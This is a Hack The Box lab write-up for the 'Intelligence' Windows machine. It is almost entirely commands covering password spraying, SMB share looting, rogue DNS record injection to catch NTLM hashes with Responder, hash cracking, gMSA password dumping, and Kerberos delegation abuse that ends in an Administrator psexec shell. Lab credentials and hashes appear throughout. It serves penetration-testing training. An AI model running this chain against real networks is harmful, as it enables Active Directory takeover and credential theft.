> For the complete documentation index, see [llms.txt](https://htb.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.adot8.com/hack-the-box/oscp-like-boxes/windows/intelligence/foothold.md).

# Foothold

```bash
#!/bin/bash
for month in {01..12}; do
    for day in {01..31}; do
        wget http://10.10.10.248/documents/2020-$month-$day-upload.pdf
    done
done

exiftool 2020-* | grep -i creator | awk -F: '{print $2}' | sed 's/^[ \t]*//' | sort -u > users.txt
```

```bash
for i in $(ls 2020-*); do open $i; done
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FdBBB8rA1SiI20fwfP9Ce%2Fimage.png?alt=media&amp;token=1d156290-d8de-4fae-ad66-e4c1d87bd040" alt=""><figcaption></figcaption></figure>

```
NewIntelligenceCorpUser9876
```

```
netexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FDeSEWotDTTa9Iaf86XsK%2Fimage.png?alt=media&amp;token=85ba8a15-0334-417a-a3f2-cfb649775bfc" alt=""><figcaption></figcaption></figure>

```
Tiffany.Molina:NewIntelligenceCorpUser9876
```

```
netexec smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --shares
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FWaHfNLwicxczvsczUJAg%2Fimage.png?alt=media&amp;token=eb705f84-fc33-48d9-9a14-4a3ed0103133" alt=""><figcaption></figcaption></figure>

```
adot@kali:~/oscp/htb/windows/intelligence$ smbclient "\\\\10.10.10.248\\Users" -U  Tiffany.Molina%NewIntelligenceCorpUser9876
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Apr 18 20:20:26 2021
  ..                                 DR        0  Sun Apr 18 20:20:26 2021
  Administrator                       D        0  Sun Apr 18 19:18:39 2021
  All Users                       DHSrn        0  Sat Sep 15 02:21:46 2018
  Default                           DHR        0  Sun Apr 18 21:17:40 2021
  Default User                    DHSrn        0  Sat Sep 15 02:21:46 2018
  desktop.ini                       AHS      174  Sat Sep 15 02:11:27 2018
  Public                             DR        0  Sun Apr 18 19:18:39 2021
  Ted.Graves                          D        0  Sun Apr 18 20:20:26 2021
  Tiffany.Molina                      D        0  Sun Apr 18 19:51:46 2021

		3770367 blocks of size 4096. 1418574 blocks available
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
```

```
$ smbclient "\\\\10.10.10.248\\IT" -U  Tiffany.Molina%NewIntelligenceCorpUser9876
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Apr 18 19:50:55 2021
  ..                                  D        0  Sun Apr 18 19:50:55 2021
  downdetector.ps1                    A     1046  Sun Apr 18 19:50:55 2021

		3770367 blocks of size 4096. 1419262 blocks available
smb: \> mget downdetector.ps1 
Get file downdetector.ps1? y
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (5.1 KiloBytes/sec) (average 5.1 KiloBytes/sec)
smb: \> exit
```

```powershell
��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

```

```
Ted.Graves
```

```
bloodhound-python -d intelligence.htb -u Tiffany.Molina -p NewIntelligenceCorpUser9876 -ns 10.10.10.248 -c all
```

Add a dns A record

```
python dnstool.py -u 'intelligence.htb\tiffany.molina' -p NewIntelligenceCorpUser9876 -r webad0t8.intelligence.htb -a add -t A -d 10.10.14.6 10.10.10.248
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FdQrAQQmcp2dX79KzlJzN%2Fimage.png?alt=media&amp;token=2764449a-9e1f-4aca-887d-af47f2400986" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Got a call back
{% endhint %}

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FcznFIymGhDCQ1k1ixVXq%2Fimage.png?alt=media&amp;token=a6e74da6-9bdd-4e49-8b15-ce77e5db9e4a" alt=""><figcaption></figcaption></figure>

```
sudo responder -I tun0
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2Fs7fcMh8OBfdb6TA7kRxE%2Fimage.png?alt=media&amp;token=bea32d0d-0cf7-4d45-bafc-62d45ee69a7d" alt=""><figcaption></figcaption></figure>

```
hashcat -m 5600 ted.hash ~/rockyou.txt -O
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FXg3ARmPG3qsF9pOvssjC%2Fimage.png?alt=media&amp;token=7516d6c5-a93e-4c16-a77e-25e514cb1318" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2F89xHB1LKa9NFaJWh7bGf%2Fimage.png?alt=media&amp;token=4e70f66c-0d61-44c7-907c-130b483b5d5c" alt=""><figcaption></figcaption></figure>

```
python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FrTnXiZAjNenTUOT01ojv%2Fimage.png?alt=media&amp;token=b71c0077-be94-45d9-9b53-473a524a1118" alt=""><figcaption></figcaption></figure>

```
netexec smb 10.10.10.248 -u svc_int$ -H 51e4932f13712047027300f869d07ab6
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FO2XgxmgttAjzEII4PSSh%2Fimage.png?alt=media&amp;token=4fd765f9-cc61-499f-9f00-7226596ba5a0" alt=""><figcaption></figcaption></figure>

```
impacket-getST -spn http/dc.intelligence.htb -impersonate Administrator -u intelligence/svc_int$ -hashes 51e4932f13712047027300f869d07ab6:51e4932f13712047027300f869d07ab6
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FZYGM4QX9HlFP1KMu83ht%2Fimage.png?alt=media&amp;token=3011dccd-c1ae-4c4d-b37d-18d5ff5d284e" alt=""><figcaption></figcaption></figure>

```
etST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$ -hashes 51e4932f13712047027300f869d07ab6:51e4932f13712047027300f869d07ab6
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FWw7fnfCs8K1i8849g9Rx%2Fimage.png?alt=media&amp;token=b991be33-6902-41c0-aef4-5967bc9b9139" alt=""><figcaption></figcaption></figure>

```
export KRB5CCNAME=$(pwd)/Administrator.ccache 
impacket-psexec -k -no-pass intelligence.htb/Administrator@dc.intelligence.htb
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2Fbfhjvj3GjhSCkmXtacNZ%2Fimage.png?alt=media&amp;token=d82cb218-66a8-4d01-b3ea-edb9691b7a58" alt=""><figcaption></figcaption></figure>
